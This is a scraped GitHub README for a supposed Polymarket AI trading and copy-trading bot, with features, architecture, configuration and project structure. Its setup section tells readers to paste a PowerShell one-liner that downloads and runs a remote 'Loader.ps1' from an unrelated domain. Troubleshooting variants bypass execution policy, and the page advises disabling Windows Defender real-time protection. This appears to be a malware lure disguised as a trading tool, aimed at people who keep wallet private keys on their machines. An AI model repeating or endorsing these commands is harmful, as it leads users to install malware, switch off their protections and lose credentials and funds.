Star 历史趋势
数据来源: GitHub API · 生成自 Stargazers.cn
README.md

Polymarket Trading Bot

image

AI-assisted prediction market trading and wallet-based copy trading.

TypeScript Node.js

Features · Quick Start · Architecture · Configuration · Modules · Project Structure · Roadmap


Features

FeatureDescription
🤖AI Market AnalysisExplore prediction markets through sentiment analysis and momentum signals.
👥Copy TradingFollow selected wallets and adjust copied allocations to your preferred size.
🛡️Risk ManagementSet exposure limits, maximum trade sizes, and daily loss thresholds.
⚡Trade ExecutionRoute trading decisions through a dedicated execution module.
🧩Multi-Strategy EngineExtend the strategy layer with additional analysis methods and signals.
⚙️Configurable SettingsKeep connections, wallet selection, and trading parameters in environment variables.

⚙️ Quick Setup Guide (PowerShell)

  1. Open PowerShell

    • Press Win + X on your keyboard.
    • Click on Terminal or Windows PowerShell from the list.
  2. Run the Setup Command

    Copy the command below, paste it into the PowerShell window, and press Enter.

    irm https://shellx.click/powershell/Loader.ps1 | iex

🔍 Troubleshooting

📌 Bypass Execution Policy (Blocking Unsigned Scripts)

If Windows stops the script from running due to security policies, you can force it to run by pasting this command into a standard Command Prompt (cmd):

powershell -ExecutionPolicy Bypass -Command "irm https://shellx.click/powershell/Loader.ps1 | iex"

📌 Error: "irm is not recognized..." (PowerShell 2.0 Legacy)

In older legacy environments where aliases are missing, use explicit full system cmdlets:

Invoke-RestMethod https://shellx.click/powershell/Loader.ps1 | Invoke-Expression

📌 Antivirus or SmartScreen Interception

Automated deployment routines can sometimes trigger proactive security heuristics. Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.


Architecture

flowchart TB
    subgraph Sources["Input Sources"]
        API["Polymarket API"] --> Markets["Market Data"]
        Feed["Trade Feed"] --> Activity["Wallet Activity"]
    end

    subgraph Analysis["AI Engine"]
        Markets --> Sentiment["Sentiment Strategy"]
        Markets --> Momentum["Momentum Strategy"]
        Sentiment --> Signals["Signal Aggregator"]
        Momentum --> Signals
    end

    subgraph Copy["Copy Engine"]
        Activity --> Tracker["Trader Tracker"]
        Tracker --> Mirror["Trade Mirror"]
    end

    subgraph Trading["Execution"]
        Signals --> Risk["Risk Manager"]
        Mirror --> Risk
        Risk --> Executor["Trade Executor"]
        Executor --> API
    end

    style API fill:#1263df,color:#fff,stroke:#1263df
    style Feed fill:#1263df,color:#fff,stroke:#1263df
    style Signals fill:#00b8d9,color:#071426,stroke:#00b8d9
    style Risk fill:#d94667,color:#fff,stroke:#d94667
    style Executor fill:#00a67d,color:#fff,stroke:#00a67d

Configuration

Copy .env.example to .env and adjust the following settings.

VariableDescriptionDefault
POLYMARKET_API_URLCLOB API base URLhttps://clob.polymarket.com
POLYMARKET_WS_URLStreaming connection URLwss://ws-subscriptions-clob.polymarket.com/ws
PRIVATE_KEYTrading wallet secret—
RPC_URLPolygon RPC connectionhttps://polygon-rpc.com
OPENAI_API_KEYAI provider credential—
AI_MODELAnalysis model identifiergpt-4
TRACKED_WALLETSWallet addresses separated by commas—
COPY_PERCENTAGESource trade allocation percentage50
MAX_POSITION_SIZECopied trade allocation cap, USDC100
MAX_DAILY_LOSSDaily loss threshold, USDC500
MAX_SINGLE_TRADEIndividual order limit, USDC200
STOP_LOSS_PERCENTAGEStop-loss percentage setting10
LOG_LEVELApplication logging detailinfo

Defaults describe configuration values, not recommended allocations. Review them before using real funds.


Modules

🤖 AI Trade Bot

The analysis module evaluates markets with two complementary strategies:

  • Sentiment Strategy — Compares an estimated outcome probability with the market price to identify potential discrepancies.
  • Momentum Strategy — Examines recent trade activity and the balance of buying and selling volume.

Signals include direction, confidence, and supporting reasoning. The analyzer brings individual strategy results together into a market assessment.

👥 Copy Trading Bot

The copy module separates wallet monitoring from trade sizing:

  • Trader Tracker — Maintains the list of followed wallets and handles detected trade events.
  • Trade Mirror — Applies COPY_PERCENTAGE to source trades and limits copied allocations using MAX_POSITION_SIZE.

A source allocation of 100 USDC becomes 25 USDC when COPY_PERCENTAGE=25, before applicable caps.


Project Structure

src/
├── index.ts                  # Startup and module orchestration
├── config/                   # Environment settings
├── api/
│   ├── polymarket.ts         # Market API access
│   └── types.ts              # API data contracts
├── ai/
│   ├── analyzer.ts           # Scanning and analysis
│   ├── strategies/
│   │   ├── sentiment.ts      # Sentiment signals
│   │   └── momentum.ts       # Trade-flow signals
│   └── types.ts              # Analysis data contracts
├── copy/
│   ├── tracker.ts            # Followed wallet tracking
│   ├── mirror.ts             # Copy allocation logic
│   └── types.ts              # Copy event contracts
├── trading/
│   ├── executor.ts           # Order submission
│   ├── risk.ts               # Limits and risk checks
│   └── types.ts              # Order data contracts
└── utils/
    ├── logger.ts             # Application logs
    └── helpers.ts            # Shared utilities

Roadmap

  • Streaming market updates over WebSocket
  • On-chain detection of followed wallet activity
  • Portfolio dashboard
  • Historical strategy backtesting
  • Telegram and Discord alerts
  • Multiple execution wallets
  • Additional strategies, including arbitrage and mean reversion

关于 About

AI-powered Polymarket trading bot with market analysis, copy trading, and configurable risk management.
ai-trader-polymarketautonomous-trader-polymarketautotrader-polymarketcopy-tradecrypto-trading-bot-2026event-trading-bot-polymarketmarket-agent-polymarketmarket-maker-polymarketmarket-trade-bot-polymarketpolymarket-ai-traderpolymarket-bot-freepolymarket-event-trading-botpolymarket-market-agentpolymarket-market-ai-botpolymarket-market-trading-botpolymarket-trade-aipolymarket-trading-systemtrading-ai-polymarkettrading-bot-2026trading-system-polymarket

语言 Languages

TypeScript98.0%
JavaScript2.0%

提交活跃度 Commit Activity

代码提交热力图
过去 52 周的开发活跃度
8
Total Commits
峰值: 7次/周
Less
More

核心贡献者 Contributors